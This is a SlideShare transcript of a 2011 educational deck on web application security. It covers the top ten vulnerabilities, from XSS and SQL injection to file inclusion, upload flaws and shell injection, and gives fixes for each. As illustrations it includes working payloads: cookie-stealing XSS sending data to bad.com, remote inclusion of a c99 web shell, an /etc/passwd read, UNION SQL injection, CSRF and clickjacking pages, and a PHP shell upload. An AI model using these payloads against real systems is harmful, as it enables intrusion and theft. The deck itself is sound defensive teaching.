BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN

  • 29,544 views
Uploaded on

"Web Application Security is a vast topic …

"Web Application Security is a vast topic
and time is not enough to cover all kind
of malicious attacks and techniques for
avoiding them, so now we will focus on
top 10 high level vulnerabilities.

Web developers work in different ways
using their custom libraries and
intruder prevention systems and now
we will see what they should do and
should not do based on best practices."

- Samvel Gevorgyan

[ Presentation on Scribd ]
http://www.scribd.com/doc/47157267

More in: Education , Technology
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
  • I'm proud of my work...

    [MESSAGE: Sun, Dec 26, 2010 at 5:40 PM]
    Congrats, 'Best Practices of Web Application Security by Samvel Gevorgyan(Part 1)' is hot on Facebook this hour

    'Best Practices of Web Application Security by Samvel Gevorgyan(Part 1)' is being talked about on Facebook more than anything else on SlideShare right now. So we've put it on the homepage of SlideShare.net (in the 'Hot on Facebook' section).

    Well done!

    - SlideShare Team
    Are you sure you want to
    Your message goes here
No Downloads

Views

Total Views
29,544
On Slideshare
0
From Embeds
0
Number of Embeds
5

Actions

Shares
Downloads
1,159
Comments
1
Likes
16

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide
  • “If you keep your window open, everyone can see you have a meeting in your room. So the best way to keep your privacy is keeping your windows closed.” –SamvelGevorgyan
  • “A clever person solves a problem. A wise person avoids it.” -Albert Einstein

Transcript

  • 1. BEST PRACTICES OF
    2011
    WEB APPLICATION SECURITY
    Copyright 2011 © CYBER GATES
    Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License
  • 2. OVERVIEW
    Web Application Security is a vast topic
    and time is not enough to cover all kind
    of malicious attacks and techniques for
    avoiding them, so now we will focus on
    top 10 high level vulnerabilities.
    Web developers work in different ways
    using their custom libraries and
    intruder prevention systems and now
    we will see what they should do and
    should not do based on best practices.
  • 3. CONTENT
    1. Overview
    2. Statistics
    2.1. Statistics of vulnerabilities
    2.2. Statistics of risk levels
    3. Top 10 high level vulnerabilities
    3.1. Cross-Site Scripting
    3.2. Information Leakage
    3.3. SQL Injection
    3.4. Cross-Site Request Forgery
    3.5. ClickJacking
    3.6. Local/Remote File Inclusion
  • 4. 3.7. Unrestricted File Uploads
    3.8. Phishing
    3.9. Session Hijacking
    3.10. Shell Injection
    4. Cross-Site Scripting
    4.1. Defination
    4.2. Types
    4.2.1. Non-persistent
    4.2.2. Persistent
    4.3. Non-persistent
    4.4. Persistent
    4.5. Common targets
    4.6. Potentially Dangerous HTML elements
  • 5. 4.7. Best Solution
    5. Information Leakage
    5.1. Defination
    5.2. Common reasons
    5.2.1. Directory listing misconfiguration
    5.2.2. Unproper error handling
    5.2.3. Unproper filetype handling
    5.2.4. Sensetive HTML comments
    5.3. Directory listing misconfiguration
    5.4. Unproper error handling
    5.5. Unproper filetype handling
    5.6. Sensetive HTML comments
  • 6. 5.7. Best Solution
    6. SQL Injection
    6.1. Defination
    6.2. Types
    6.2.1. Normal SQL Injection
    6.2.2. Blind SQL Injection
    6.3. Normal SQL Injection
    6.4. Blind SQL Injection
    6.5. Solutions
    6.6. Best Solution
    7. Cross-Site Request Forgery
    7.1. Defination
    7.2. Useless defenses
  • 7. 7.3. Solutions
    7.4. Best Solution
    8. ClickJacking
    8.1. Defination
    8.2. FrameKillers
    8.3. FrameKiller killers
    8.4. Best Solution
    9. Local/Remote File Inclusion
    9.1. Defination
    9.2. Types
    9.2.1. Local File Inclusion
    9.2.2. Remote File Inclusion
    9.3. Local File Inclusion
  • 8. 9.4. Remote File Inclusion
    9.5. Common exploits/requests
    9.6. Common methods of attack
    9.7. Potentially dangerous PHP functons
    9.8. Best Solution
    10. Unrestricted File Uploads
    10.1. Defination
    10.2. Common mistakes
    10.3. Best Solution
    11. Phishing
    11.1. Defination
    11.2. Best Solution
    12. Session Hijacking
  • 9. 12.1. Defination
    12.2. Best Solution
    13. Shell Injection
    13.1. Defination
    13.2. Potentially dangerous PHP functions
    13.3. Best Solution
    14. Special thanks
    15. Contact information
    16. References
  • 10. STATISTICS OF VULNERABILITIES
    Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
  • 11. STATISTICS OF RISK LEVELS
    Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
  • 12. TOP 10 HIGH LEVEL VULNERABILITIES
    01. Cross-Site Scripting (XSS) [2005]
    02. Information leakage
    03. SQL Injection [~2005]
    04. Cross-Site Request Forgery (CSRF) [1990s]
    05. ClickJacking [J.Grossman and R.Hansen - 2008]
    06. Local/Remote File Inclusion
    07. Unrestricted File Upload
    08. Phishing[1987, 1996]
    09. Session Hijacking [early 2000s]
    10. Shell injection
  • 13. CROSS-SITE SCRIPTING
    DESCRIPTION:
    Cross-Site Scripting is a type of web application vulnerability when attacker injects his executable code (Javascript, HTML, etc.) into a vulnerable webpage.
    • EXAMPLE:
    http://site.com/search.php?q=<script>alert(“XSS”)</script>
  • 14. CROSS-SITE SCRIPTING
    TYPES:
    Non-Persistent
    Persistent
    1.Non-Persistent:
    In this type of XSS vulnerability an attacker is able to execute his own code into a webpage but no changes can be done in that website.
  • 15. CROSS-SITE SCRIPTING
    Non-Persistent
    EXAMPLE:
    http://www.site.com/viewtopic.php?id=4"><script>document.location="http://bad.com/logger.php?cookie="+document.cookie;</script>
    OR
    http://www.site.com/viewtopic.php?id=4”><script>document.write(“<img src=‘http://bad.com/logger.php?cookie=“+ document.cookie+”’/>”);</script>
  • 16. CROSS-SITE SCRIPTING
    2.Persistent:
    In this case attacker stores his executable script in the vulnerable website database which is being executed every time webpage is showing the data.
    Common targets are:
  • CROSS-SITE SCRIPTING
    Persistent
    EXAMPLE:
  • 20. CROSS-SITE SCRIPTING
    Persistent
    Comment in raw format:
    and I like the way this website developers
    work..hahaha :D :D
    <SCRIPT/XSS
    SRC="http://bad.com/xss.js">
    </SCRIPT>
  • 21. CROSS-SITE SCRIPTING
    Potentially Dangerous HTML elemets:
    TAGS
    ATTRIBUTES
    src, href, lowsrc, xmlns, style, etc.
  • 35. CROSS-SITE SCRIPTING
    Potentially Dangerous HTML events:
    *all HTML events
  • 53. CROSS-SITE SCRIPTING
    SOLUTIONS:
    Input sanitization
    Output sanitization
    • PHP function htmlentities()
  • BEST SOLUTION
    OWASP HTML Purifier
    SAFE
    HTML Purifier defeats XSS with an audited whitelist
    CLEAN
    HTML Purifier ensures standards-compliant output
    OPEN
    HTML Purifier is open-source and highly customizable
  • 60. BEST SOLUTION
    COMPARISON:
    Source: www.htmlpurifier.org/comparison
  • 61. BEST SOLUTION
    COMPARISON:
    Source: www.htmlpurifier.org/comparison
  • 62. INFORMATION LEAKAGE
    DESCRIPTION:
    Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data.
    • EXAMPLE:
    Warning: include(pages/../../../../../../etc/passwd1) [function.include]: failed to open stream: No such file or directory in /usr/www/users/kint/view.php on line 20
  • 63. INFORMATION LEAKAGE
    CAUSES OF:
    Directory listing misconfiguration
    Unproper error handling
    Unproper filetype handling
    Sensitive HTML comments, etc.
    1.Directory listing misconfiguration:
    Leaving directory listing enabled allows the attacker to read the list of all files in a directory.
  • 64. INFORMATION LEAKAGE
    Directory listing misconfiguration
    • EXAMPLE:
    http://www.site.com/admin/
  • 65. INFORMATION LEAKAGE
    2.Unproper error handling:
    Because of unproper error handling all the unexpecting requests will generate error messages which will be visible to the attacker.
    • EXAMPLE:
    Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/aes/public_html/news/list.php on line 81
  • 66. INFORMATION LEAKAGE
    3.Unproper filetype handling:
    Unproper filetype handling allows your important files to be readable by the attacker.
  • INFORMATION LEAKAGE
    Unproper filetype handling
    • EXAMPLE:
    dbClass.inc

    private $host = "localhost";
    private $usr = “root“;
    private $pwd = “i7kT0w“;
    public $db = "brav_new";
    public function Connect(){ … }

  • 72. INFORMATION LEAKAGE
    4.Sensitive HTML comments:
    Notes left by webdevelopers may content important information which will cause of the information leakage.
    • EXAMPLE:
    <form enctype="multipart/form-data" action="upload.php" method="POST">
    <!--check for filetypes php, cgi, pl, bat, exe, dll, reg-->
    <input name="upload_file" type="file" />

  • 73. BEST SOLUTION
    Directory listing misconfiguration
    put a blank file named index.html in that directory.
    put a file named .htaccess in that directory consisting of only this line:Options –indexes
    NOTE: all sub-directories of that directory will also get their directory listings turned off.
  • 74. BEST SOLUTION
    Unproper error handling
    The following configurations should be done in php.ini file:
    • error_reporting = E_ALL
    • 75. display_errors = Off
    • 76. log_errors = On
    • 77. error_log = path/PHP_errors.log //any file in which the web server has write privileges.
  • BEST SOLUTION
    Unproper error handling
    Create an .htaccess file in public_html directory with the following lines:
    php_flag display_errors off
    php_flag log_errors on
    php_value error_log path/PHP_errors.log
    <Files path/PHP_errors.log>
    Order allow,deny
    Deny from all
    Satisfy All
    </Files
  • 78. BEST SOLUTION
    Unproper filetype handling
    Don’t keep your important files with the following extentions in your public web directory if you don’t link to them in the website:
    • Compressed files(*.zip, *.rar, *.tar.gz, etc.)
    • 79. Database files(*.sql, *.cvs, *.xml, *.xls, etc.)
    • 80. Unknown files(*.inc, *.copy, *.bkp, etc.)
  • BEST SOLUTION
    Unproper filetype handling
    If you have a reason to keep those files in your web public directory, create an .htaccess file in that directory with the following lines of code:
    <Files ~ ".(inc|sql)$">  order allow,deny  deny from all</Files>
  • 81. BEST SOLUTION
    Sensitive HTML comments
    No sensetive HTML comment must be used in a website as every user will be able to view the webpage source code.
  • 82. SQL INJECTION
    DESCRIPTION:
    This is a type of vulnerability when attacker injects his custom SQL query to the request to get sensetive data from the database, read or write a file.
    • EXAMPLE:
    http://site.com/product.php?id=4+AND+1=2+UNION+SELECT+0,database(),1,2+--
  • 83. SQL INJECTION
    TYPES:
    Normal
    Blind
    1.Normal:
    In this type of SQL Injection vulnerability attacker sends a custom SQL query and gets the output in the screen.
  • 84. SQL INJECTION
    Normal SQL Injection
    • EXAMPLE:
    http://site.com/product.php?id=1348+AND+1=2+union+select+1,2,user(),database(),
    5,version(),7+--
  • 85. SQL INJECTION
    2.Blind:
    This type of injection is identical to normal SQL Injection except that the SQL query returns positive or negative response.
    • EXAMPLE:
    http://site.com/view.php?page=10+
    and+substring(@@version,1,1)=5+--
  • 86. SQL INJECTION
    SOLUTIONS:
    • PHP.ini configuration
    • 87. magic_quotes_gpc = on
    • 88. PHP functions
    • 89. filter_var()
    • 90. mysql_real_escape_string()
    • 91. sprintf()
    • 92. Put variables into the quotes(e.g: ‘$id’)
    • 93. Assign min privilages for mysql users
  • BEST SOLUTION
    GreenSQL open source database firewall
    Activity monitoring and audit
    User rights management
    Real-time database protection
    Intrusion preventation(IPS)
    Database caching
    Encrypted comunication over SSL
    Virtual patching
    Reporting
  • 94. BEST SOLUTION
    GreenSQL open source database firewall
    Source: www.greensql.net
  • 95. CROSS-SITE REQUEST FORGERY
    DESCRIPTION:
    This vulnerability of web application allows other websites to send it unauthorized requests using the active session of its authorized users.
    • EXAMPLE:
    <img src=“http://site.com/share.php?url=http://bad.com” style=“display:none” />
  • 96. CROSS-SITE REQUEST FORGERY
    EXAMPLE:
    <div style=“display:none”>
    <iframe name=“hidden”></iframe>
    <form name=“Form” action= “http://site.com/post.php” target=“hidden” method=“POST”>
    <input type=“text” name=“message” value=“I like www.bad.com” />
    <input type=“submit” />
    </form>
    <script>document.Form.submit();</script>
    </div>
  • 97. CROSS-SITE REQUEST FORGERY
    USELESS DEFENSES:
    • Only accept POST
    Stops simple link-based attacks (IMG, frames, etc.)
    But hidden POST requests can be created with frames, scripts, etc.
    • Referer checking
    Some users prohibit referers, so you can’t just require referer headers
    Techniques to selectively create HTTP request without referers exist
    • Requiring multi-step transactions
    CSRF attack can perform each step in order
  • 98. CROSS-SITE REQUEST FORGERY
    SOLUTIONS:
    • CAPTHCA systems
    This is a type of challenge-response test used in computing to ensure that the response is not generated by a computer.
    • One-time tokens
    Unlike the CAPTCHA systems this is a unique number stored in the form field and in session to compare them after the form submition.
  • 99. BEST SOLUTION
    Business Processing
    Add Tokento HTML
    OWASPCSRFGuard
    Verify Token
    OWASP CSRFGuard
    User
    (Browser)
    1. Add token with regex
    2. Add token with HTML parser
    3. Add token in browser with Javascript
    Source: www.owasp.org/index.php/CSRFGuard
  • 107. CLICKJACKING
    DESCRIPTION:
    ClickJacking or UI Redressing is an art of taking actions without the user's knowledge, such as clicking on a button that appears to perform another function. It works in all modern browsers that support frames and css.
    • EXAMPLE:
    <div style="position:fixed; width:100%; height:100%; z-index:999;" onclick="alert(‘ClickJacked');"></div>
  • 108. CLICKJACKING
    EXAMPLE:
    <style> iframe { width: 500px; height: 400px; /* Use absolute positioning to line up update button with fake button */
    position: absolute; top: 0px; left: 0px; z-index: 2; /* Hide from view */
    -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); }
    button { position: absolute; top: 350px; left: 200px;
    z-index: 1; width: 100px; } </style>
    <h1>BEST GAME EVER!</1>
    <button>PLAY!</button>
    <iframe scrolling="no" src="http://twitter.com/home?status=Yes, I did click the button!!! (WHAT!!??)"></iframe>
  • 109. CLICKJACKING
    EXAMPLE:
  • 110. CLICKJACKING
    FrameKiller(frame busting)
    • Defination:
    Frame killers or frame busting is used to defend against clickjacking attacks.
    • Example:
    if (top.location != location){
    top.location = self.location;
    }
  • 111. CLICKJACKING
    Common FrameKillers
    Conditional statement
    if (top != self)
    if (top.location != self.location)
    if (top.location != location)
    if (parent.frames.length > 0)
    if (window != top)
    if (window.top !== window.self)
    if (window.self != window.top)
    if (parent && parent != window)
    if (parent && parent.frames && parent.frames.length>0)
    if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))
  • 112. CLICKJACKING
    Common FrameKillers
    • Counter-action statement
    top.location = self.location
    top.location.href = document.location.href
    top.location.replace(self.location)
    top.location.href = window.location.href
    top.location.replace(document.location)
    top.location.href = window.location.href
    top.location.href = "URL"
    document.write('')
    top.location.replace(document.location)
    top.location.replace('URL')
    top.location.replace(window.location.href)
    top.location.href = location.href
    self.parent.location = document.location
    parent.location.href = self.document.location
  • 113. CLICKJACKING
    FrameKiller killers
    Double framing
    <iframe src="second.html"></iframe>
    second.html
    <iframe src="http://www.site.com"></iframe>
    Using onBeforeUnload event
    <script>
    window.onbeforeunload=function(){
    return “do you want to leave this page?“;
    }
    </script>
    <iframe src="http://www.site.com"></iframe>
  • 114. CLICKJACKING
    FrameKiller killers
    onBeforeUnload & 204 Flushing
    var prevent bust = 0
    window.onbeforeunload=function(){
    killbust++
    }
    setInterval(function(){
    if(killbust > 0){
    killbust = 2;
    window.top.location = 'http://no-content-204.com'
    } }, 1);
    <iframe src="http://www.victim.com"></iframe>
    etc.
  • 115. BEST SOLUTION
    • FrameKiller(frame busting):
    <style> html{ display : none; } </style>
    <script>
    if( self == top ) { document.documentElement.style.display='block';
    } else { top.location = self.location; }
    </script>
    • OWASP CSRFGuard
    IMPORTANT: Unfortunately, there is no script which would protect your web application against ClickJacking, however above mentioned is the best solution that we have now.
  • 116. FILE INCLUSION
    DESCRIPTION:
    This type of web application vulnerability allows an attacker to include local or remote file into the vulnerable webpage.
    • EXAMPLE:
    http://site.com/view.php?file=../../../../../../../../../../../../../../etc/passwd%00
  • 117. FILE INCLUSION
    TYPES:
    Local
    Remote
    1.Local File Inclusion:
    This type of inclusion is used to include local files. Mostly used for server configuration files such as system users information, filesystem structure, etc.
  • 118. FILE INCLUSION
    LOCAL FILE INCLUSION
    • EXAMPLE:
    http://site.com/include.php?file=../../../../../../../../../../../../../etc/passwd%00
    root:*:0:0:Super User:/root:/bin/csh daemon:*:1:1:Daemon:/nonexistent:/sbin/nologin operator:*:2:5:Operator:/nonexistent:/sbin/nologin bin:*:3:7:Binaries:/nonexistent:/sbin/nologin tty:*:4:65533:tty Sandbox:/nonexistent:/sbin/nologin kmem:*:5:65533:kmem Sandbox:/nonexistent:/sbin/nologin games:*:7:13:Games:/nonexistent:/sbin/nologin news:*:8:8:News Subsystem:/nonexistent:/sbin/nologin man:*:9:9:Man Pages:/nonexistent:/sbin/nologin ftp:*:14:5:Anonymous FTP Admin:/usr/ftp:/nonexistent
  • 119. FILE INCLUSION
    2.Remote File Inclusion:
    Unlike the local file inclusion this is used to include remote scripts such as web shells which is more dangerous than the previous one.
    Main goals:
    • Remote code execution
    • 120. Remote root kit installation and complete system compromise
    • 121. etc.
  • FILE INCLUSION
    REMOTE FILE INCLUSION
    • EXAMPLE:
    http://site.com/include.php?file= http://bad.com/c99_shell.php&act=ls&dir=%2Fvar
  • 122. FILE INCLUSION
    VULNERABLE PHP CODES
    • <?php include($_GET['file']); ?>
    • 123. <?php include($_GET['file'].".htm"); ?>
    • 124. <?php
    include("includes/".$_GET['file']);
    ?>
    • <?php
    include("includes/".$_GET['file'].".htm");
    ?>
    • etc.
  • FILE INCLUSION
    COMMON EXPLOITS/REQUESTS
    ?file=../../../../../../../../../etc/passwd
    ?file=../../../../../../../../../var/lib/locate.db
    ?file=../../../../../../../../../var/log/apache/error.log
    ?file=../../../../../../../../../etc/passwd%00
    ?file=../../../../../../../../../var/www/accounts/%00
    ?file=http://bad.com/xss.php?xss=phpcode
    ?file=http://bad.com/shell.txt
    ?file=data://text/plain;base64,SU5KRUNURUQ=
    ?file=../../../../../../../../../etc/passwd.........
    ?file=../../../../../../../../../etc/passwd…………………..…
    etc.
  • 125. FILE INCLUSION
    COMMON METHODS OF ATTACK
    • Hostile data being uploaded to session files, log data, and via image uploads
    • 126. Using compression or audio streams, such as zlib:// or ogg://(allow_url_fopen/ allow_url_include may be disabled)
    • 127. Using PHP wrappers, such as php://input
    • 128. Using PHP’s data: wrapper, such as data:;base64,PD9waHAgcGhwaW5mbygpOz8+
    • 129. etc.
  • FILE INCLUSION
    POTENTIALLY DANGEROUS PHP FUNCTIONS
  • BEST SOLUTION
    • Use whitelisted filenames or allow only valid file name characters (e.g: /^(((?:.)(?!.))|w)+$/)
    • 139. Modify the php.ini configuration file:
    register_globals = Off
    magic_quotes_gpc = On
    allow_url_fopen = Off
    allow_url_include = Off
    • Do not use any of the potentially dangerous PHP functions(previous slide) without filtering user input
  • UNRESTRICTED FILE UPLOAD
    DESCRIPTION:
    This vulnerability of a web application allows attacker to upload malicious files to the server. Most of the time those files are web shell scripts to take control over your web server.
    • EXAMPLE:
    $usrFile = $_FILES[‘userfile’][‘name’];
    $uploadFolder= "uploads/"; if(move_uploaded_file($usrFile,$uploadFolder))
    { echo “File has been successfully uploaded.“;
    } else{ echo “Error. Please try again!"; }
  • 140. UNRESTRICTED FILE UPLOAD
    EXAMPLE:
    POST /upload1.php HTTP/1.1

    Content-Type: multipart/form-data; boundary=xYzZY
    --xYzZY
    Content-Disposition: form-data; name="userfile";
    filename="shell.php"
    Content-Type: text/plain
    <?php
    system($_GET['command']);
    ?>
    --xYzZY—
    HTTP/1.1 200 OK

    File has been successfully uploaded.
  • 141. UNRESTRICTED FILE UPLOAD
    COMMON MISTAKES:
    • Using blacklist for file extensions
    Checking only for *.php,*.cgi,..,*.exe, etc. extentions
    • Checking only the mime type
    Checking only the content of $_FILES[‘file’][‘type’]
    • Unproper check of double extensions
    Unproperly checking for the files such as *.php.jpg, *.php.xyz, *.asp.1234, etc.
    • Checking only the image header
    Relying only on PHP functions such as getimagesize()
    • Checking filetype in filename
    Checking content of the filename after the last dot(.)
    • etc.
  • BEST SOLUTION
    • Define an .htaccess file that will only allow access to files with allowed extensions. This will also prevent double extension attacks.
    deny from all
    <Files ~ "^w+.(gif|jpe?g|png)$">
    order deny,allow
    allow from all
    </Files>
  • 142. BEST SOLUTION
    • Prevent overwriting of existing files (to prevent the .htaccess overwrite attack).
    • 143. Create a list of accepted mime-types (map extensions from those mime types).
    • 144. Generate a random file name and add the previously generated extension.
    • 145. Don’t rely on client-side validation only, since it is not enough. Ideally one should have both server-side and client-side validation implemented.
  • PHISHING
    DESCRIPTION:
    Phishing is a Social Engineering technique to steal confidential information about the victim such as user login credentials, credit card information, etc. through the use of fake login page.
    • EXAMPLE:
    http://www.qooqle.com/accounts/ServiceLogin?service=mail
  • 146. PHISHING
    EXAMPLE:
  • 147. BEST SOLUTION
    • Use HTTPS instead of HTTP
    The use of HTTPS is that user may see the details of the domain owner
    in the SSL certificate information.
    • Use short URL addresses for login pages
    Use short URLs so that users could easily recognize login page address.
    • Use Yahoo! Sign-in Seal like system
    Sign-In Seal is a unique identifier chose by the user. This system stores
    the user's unique identifier in the cookie and that cookie is shared
    between local web browsers using Shared Object system provided by
    Adobe Flash Player. It is not associated with the user’s login id, it is
    associated with the user’s machine id.
  • 148. SESSION HIJACKING
    DESCRIPTION:
    This vulnerability of web application is used to gain unauthorized access to web resources of an authoriezed user by having his/her session identifier(SID).
    • EXAMPLE:
    http://wg180.site.com/dk;jsessionid=0754aff827cfe9f7db7f48e7018ed1e6.wg180?st.cmd=userMain&tkn=8809
  • 149. SESSION HIJACKING
    • EXAMPLE:
    http://wg180.site.com/dk;jsessionid= 0754aff827cfe9f7db7f48e7018ed1e6.wg180?st.cmd=userMain&tkn=8809
  • 150. BEST SOLUTION
    • Store SID in HTTP cookies
    To avoid accepting SIDs from GET and POST requests, the following
    modification should be done in php.ini configuration file:
    session.use_cookies = 1
    session.use_only_cookies = 1
    • Regenerate SID on each user request
    Put session_regenerate_id(true); with this parameter after the
    session_start() function call
    • Accept only SIDs generated by your server
    Use $_SESSION['SERVER_GENERATED_SID'] to identify whether SID has been
    created by your web server
  • 151. BEST SOLUTION
    • Check for referrer, user-agent and IP address
    All these three elements can be manipulated, but it is a good habit
    to check them before accepting any data from a user side
    • Destroy old SIDs
    If user has SID which hasn’t been accessed for more than 10 minutes,
    destroy it
    • Comletely distroy the session on user logout
    This kind of logout system may be used to completely distroy all the
    session data
    if (isset($_GET['LOGOUT'])){
    session_unset();
    session_destroy();
    $_SESSION = array(); }
  • 152. SHELL INJECTION
    DESCRIPTION:
    Shell Injection is a web application vulnerability which allows an attacker to execute shell commands in the web server.
    • EXAMPLE:
    http://site.com/manage.php?action=id
  • 153. SHELL INJECTION
    • EXAMPLE:
    http://site.com/delete.php?file=/
    delete.php
    <?php $file = $_GET[‘file’]; echo 'erasing ' . $file . ‘<br />’;system(“rm -Rf $file”) ; echo ‘done‘;?>
  • 154. SHELL INJECTION
    POTENTIALLY DANGEROUS PHP FUNCTIONS
  • BEST SOLUTION
    • Disable all the potentially dangerous PHP functions
    You should disable all the potentially dangerous PHP
    functions in php.ini configuration file which you don’t use:
    disable_functions=system,exec,etc.
    • Allow only whitelisted commands to be used
    You may have a list of non-dangerous commands which will
    be allowed
    • Use PHP built-in function to escape the user input
    Use functions such as escapeshellarg() and escapeshellcmd()
    to escape the user input.
  • 167. THANK YOU!!
    SPECIAL THANKS FOR KIND SUPPORT:
    • MANU ZACHARIA
    MVP (Enterprise Security), ISLA-2010 (ISC)², C|EH, C|HFI, CCNA, MCP, AFCEH
    Certified ISO 27001:2005 LA
    • ROHIT SRIVASTWA
    Founder, ClubHack
    www.clubhack.com
    • C-DAC ACTS
    acts.cdac.in
  • 168. CONTACTS
    • www.cybergates.am
    Corporate website
    • www.twitter.com/CyberGatesLLC
    Company profile on Twitter
    • www.facebook.com/CyberGates.LLC
    Company profile on Facebook
    • www.linkedin.com/company/CyberGates-LLC
    Company profile on LinkedIn
    • www.vimeo.com/CyberGates
    Company channel on Vimeo
  • 169. REFERENCES
    • Statistics
    http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
    http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
    • Cross-Site Scripting
    http://en.wikipedia.org/wiki/Cross-site_scripting
    http://knol.google.com/k/a-short-history-of-cross-site-scripting-viruses-worms
    • Information Leakage
    http://projects.webappsec.org/w/page/13246936/Information-Leakage
    http://phpsec.org/projects/guide/1.html
    • SQL Injection
    http://en.wikipedia.org/wiki/SQL_injection
    http://www.darkreading.com/database-security/167901020/security/application-security/227300073/index.html
    http://websec.wordpress.com/category/sqli/
    • Cross-Site Request forgery
    http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
    http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery
  • 170. REFERENCES
    • ClickJacking
    http://en.wikipedia.org/wiki/Framekiller
    http://seclab.stanford.edu/websec/framebusting/framebust.pdf
    • File Inclusion
    http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
    http://www.madirish.net/?article=427
    • Unrestricted File Upload
    http://www.acunetix.com/websitesecurity/upload-forms-threat.htm
    • Phishing
    http://en.wikipedia.org/wiki/Phishing
    http://security.yahoo.com/article.html?aid=2006102507
    • Session Hijacking
    http://en.wikipedia.org/wiki/Session_fixation
    • Shell Injection
    http://en.wikipedia.org/wiki/Code_injection#Shell_injection